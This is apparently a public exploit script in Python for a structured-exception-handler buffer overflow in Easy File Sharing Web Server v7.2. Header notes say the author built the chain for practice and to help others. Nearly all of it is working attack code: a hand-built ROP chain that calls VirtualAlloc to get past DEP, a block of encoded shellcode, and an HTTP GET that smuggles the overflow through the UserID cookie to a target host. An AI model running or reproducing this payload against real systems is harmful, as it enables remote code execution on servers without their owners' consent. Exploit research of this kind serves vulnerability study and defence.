# Exploit title: Easy File Sharing Web Server v7.2 - Buffer Overflow
# Date: 16/10/2025
# Exploit Author: Donwor
# X: @real_Donwor
# Discord: Donwor
# Website: https://github.com/D0nw0r
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server v7.2
# Tested on: Windows 10,11
#
# Notes:
# - I wanted to re-do other PoCs because I did not want to use mona rop chain, so instead I built my own for practice and I believe it can help others.
# - The ROP chain was VERY challenging to build, mainly because there were a lot of limimitations when moving data between for example EAX and ESI
# - based on DEP SEH buffer overflow exploit by Knaps (https://www.exploit-db.com/exploits/38829/)
# - bad chars: '\x00' and '\x3b'
import struct, sys, socket
host = sys.argv[1]
port = 80
size = 5000
rop = struct.pack("<I", 0x1001ba81) # # MOV EAX,EBP # POP EDI # POP ESI # POP EBP # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<I", 0x41414141) # junk for pop edi
rop += struct.pack("<I", 0x41414141) # junk for pop edi
rop += struct.pack("<I", 0x41414141) # junk for ebp
rop += struct.pack("<I", 0x1001db66) # : # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<I", 0xffffeff8) # pop esi to align eax, will point after the hybjks
rop += struct.pack("<I", 0x10022f45) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<I", 0x41414141) # # SUB EAX,ESI # POP EDI # POP ESI # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x61c0a798) # XCHG EAX,EDI # RETN )
rop += struct.pack("<L", 0x1001d626) # : # XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # (RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
## Save ESP on ESI and EDI
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
rop += struct.pack("<L", 0x1004D1FC) # VirtualAlloc Addr on IAT
rop += struct.pack("<L", 0x1002248c) # deref VirtualAlloc : # MOV EAX,DWORD PTR [EAX] # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001a8e3) # put virtualalloc addr on stack # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
rop += struct.pack("<L", 0x41414141) # junk pop ebx
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi(RVA : 0x00021a3e) : # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) # increase esi to point 4 bytes more (next arg) (RVA : 0x0001715d) : # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
# Virtual Alloc on stack
# Esi now has "SRP" we need to fill it
# EDI still points to orignal one (Virtual alloc)
rop += struct.pack("<L", 0x1001f595) # Put SRP addr on eax MOV EAX,ESI # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # ADD EAX,20 # RETN
rop += struct.pack("<L", 0x10019457) # eax now points to x more (can be changed)
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001e80b) # This immedeately patches SRP and VirtualAlloc 1st arg! MOV DWORD PTR [ESI+8],EAX # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
# Virtual alloc | SRP | Shellcode Addr
# edi -> virtualalloc
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) # increase esi to point 12 bytes more (->dwsize) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001c15d) # XOR EAX,EAX # RETN) #
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
rop += struct.pack("<L", 0xffffffff) # -1
rop += struct.pack("<L", 0x100231d1) # will turn eax into 1, second arg of virtualalloc NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
rop += struct.pack("<L", 0x41414141) # junk pop ebx
#VirtualAlloc | SRP | ShellcodeAddr | dwSize
# edi -> virtualalloc
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) # increase esi to point 16 bytes more (->flAllocation Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
rop += struct.pack("<I", 0xffffefff) # value to pop eax now
rop += struct.pack("<L", 0x100231d1) # will turn eax into 1002 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
rop += struct.pack("<I", 0x1001b7ca)# eax now 1000 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
rop += struct.pack("<L", 0x41414141) # junk pop ebx
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType
# edi -> virtualalloc
rop += struct.pack("<L", 0x1001d626) # prepare esi for another round XOR ESI,ESI # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x10021a3e) # put original stack pointer in esi # ADD ESI,EDI # RETN 0x00 ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) # increase esi to point 20 bytes more (->flProtect Type) # INC ESI # ADD AL,3A # RETN ** [ImageLoad.dll] ** | ascii {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x1001715d) #
rop += struct.pack("<L", 0x10015442) # : # POP EAX # RETN
rop += struct.pack("<I", 0xffffffbf) # : -41
rop += struct.pack("<L", 0x100231d1) # will turn eax into 41 NEG EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}) #
rop += struct.pack("<I", 0x1001b7ca)# eax now 40 # DEC EAX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x1001a8e3) # patch arg # MOV DWORD PTR [ESI],EAX # OR EAX,0FFFFFFFF # POP ESI # POP EBX # RETN ** [ImageLoad.dll] ** | {PAGE_EXECUTE_READ}
rop += struct.pack("<L", 0x41414141) # junk pop esi
rop += struct.pack("<L", 0x41414141) # junk pop ebx
#VirtualAlloc | SRP | ShellcodeAddr | dwSize | flAllocationType | flProtect
# edi -> virtualalloc
rop += struct.pack("<L", 0x61c0a798) # # XCHG EAX,EDI # RETN
rop += struct.pack("<L", 0x61c07ff8) # XCHG EAX,ESP # RETN
# Just switch execution now, move the stack pointer to EDI (VirtualAlloc)
sc = b""
sc += b"\x81\xc4\x24\xfa\xff\xff" # add esp , -1500
sc += b"\xbd\x04\xae\x2a\x98\xdb\xce\xd9\x74\x24\xf4\x5b"
sc += b"\x31\xc9\xb1\x5e\x83\xeb\xfc\x31\x6b\x11\x03\x6b"
sc += b"\x11\xe2\xf1\x52\xc2\x17\xf9\xaa\x13\x48\xc8\x78"
sc += b"\x9a\x6d\x4e\xf6\xcf\x5d\x05\x5a\xfc\x16\x4b\x4f"
sc += b"\x77\x5a\x43\x60\x30\xd1\xb5\x4f\xc1\xd7\x79\x03"
sc += b"\x01\x79\x05\x5e\x56\x59\x34\x91\xab\x98\x71\x67"
sc += b"\xc1\x75\x2f\xf3\x7b\x9a\x44\x41\x40\xcd\x5b\x96"
sc += b"\x33\xb1\x23\x93\x84\x46\x9f\x9a\xd4\xf7\x94\xc5"
sc += b"\xf4\x7c\xe2\xed\xf5\x51\x77\xc4\x82\x69\x3e\xe6"
sc += b"\x95\x19\xf4\x83\x6b\xc8\xc5\x53\xc7\x35\xea\x59"
sc += b"\x19\x71\xcc\x81\x6c\x89\x2f\x3f\x77\x4a\x52\x9b"
sc += b"\xf2\x4d\xf4\x68\xa4\xa9\x05\xbc\x33\x39\x09\x09"
sc += b"\x37\x65\x0d\x8c\x94\x1d\x29\x05\x1b\xf2\xb8\x5d"
sc += b"\x38\xd6\xe1\x06\x21\x4f\x4f\xe8\x5e\x8f\x37\x55"
sc += b"\xfb\xdb\xd5\x80\x7b\x24\x26\xad\x21\xb3\xeb\x60"
sc += b"\xda\x43\x63\xf2\xa9\x71\x2c\xa8\x25\x3a\xa5\x76"
sc += b"\xb1\x4b\xa1\x88\x6d\xf3\xa1\x76\x8e\x04\xe8\xbc"
sc += b"\xda\x54\x82\x15\x63\x3f\x52\x99\xb6\xaa\x58\x0d"
sc += b"\xf9\x83\x64\xc7\x91\xd1\x94\xd6\xda\x5f\x72\x88"
sc += b"\x4c\x30\x2a\x69\x3d\xf0\x9a\x01\x57\xff\xc5\x32"
sc += b"\x58\xd5\x6e\xd8\xb7\x80\xc7\x75\x21\x89\x93\xe4"
sc += b"\xae\x07\xde\x27\x24\xa2\x1f\xe9\xcd\xc7\x33\x1e"
sc += b"\xaa\x27\xcb\xdf\x5f\x28\xa1\xdb\xc9\x7f\x5d\xe6"
sc += b"\x2c\xb7\xc2\x19\x1b\xcb\x04\xe5\xda\xfa\x7f\xd0"
sc += b"\x48\x43\x17\x1d\x9d\x43\xe7\x4b\xf7\x43\x8f\x2b"
sc += b"\xa3\x17\xaa\x33\x7e\x04\x67\xa6\x81\x7d\xd4\x61"
sc += b"\xea\x83\x03\x45\xb5\x7c\x66\xd5\xb2\x83\xf5\xf2"
sc += b"\x1a\xec\x05\x43\x9b\xec\x6f\x43\xcb\x84\x64\x6c"
sc += b"\xe4\x64\x85\xa7\xad\xec\x0c\x26\x1f\x8c\x11\x63"
sc += b"\xc1\x10\x12\x80\xda\xa3\x69\xe9\xdd\x43\x8e\xe3"
sc += b"\xb9\x43\x8f\x0b\xbc\x78\x46\x32\xca\xbf\x5b\x01"
sc += b"\xd5\x5d\x71\x7c\x7e\xf8\x10\x3d\xe3\xfb\xcf\x02"
sc += b"\x1a\x78\xe5\xfa\xd9\x60\x8c\xff\xa6\x26\x7d\x72"
sc += b"\xb6\xc2\x81\x21\xb7\xc6"
padding = b"\x45" * 4 # 4 bytes of padding because of the alignment, the add eax,20 instructions will make it so stack points 4 bytes after
rop += padding
rop += sc
rop += b"\x42" * (1244 - len(rop))
nseh = struct.pack("<I", 0x43434343)
seh = struct.pack("<I", 0x10022877) # add esp, 1004; ret
eax_offset = 4183
buf = b"A" * 2811 # rop chain start after add esp 1004
buf += rop
buf += b"A" * (4059 - len(buf)) #nseh
buf += nseh + seh
buf += b"A" * (eax_offset - len(buf))
buf += struct.pack("<I", 0xffffffff) #" #make sure eax always trigger exception
buf += b"A" * (size - len(buf))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host ,port))
httpreq = (
b"GET /changeuser.ghp HTTP/1.1\r\n"
b"User-Agent: Mozilla/4.0\r\n"
b"Host:" + host.encode() + b":" + str(port).encode() + b"\r\n"
b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
b"Accept-Language: en-us\r\n"
b"Accept-Encoding: gzip, deflate\r\n"
b"Referer: http://" + host.encode() + b"/\r\n"
b"Cookie: SESSIONID=6771; UserID=" + buf + b"; PassWD=;\r\n"
b"Conection: Keep-Alive\r\n\r\n"
)
# Send payload to the server
try:
if len(sys.argv) < 2:
print("[!] Usage: python3 exploit.py <IP of Server>")
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(httpreq)
s.close()
print("[+] Packet sent!")
except:
print("[!] Could not connect to server / Exploit failed")
sys.exit(1)
sys.exit(0)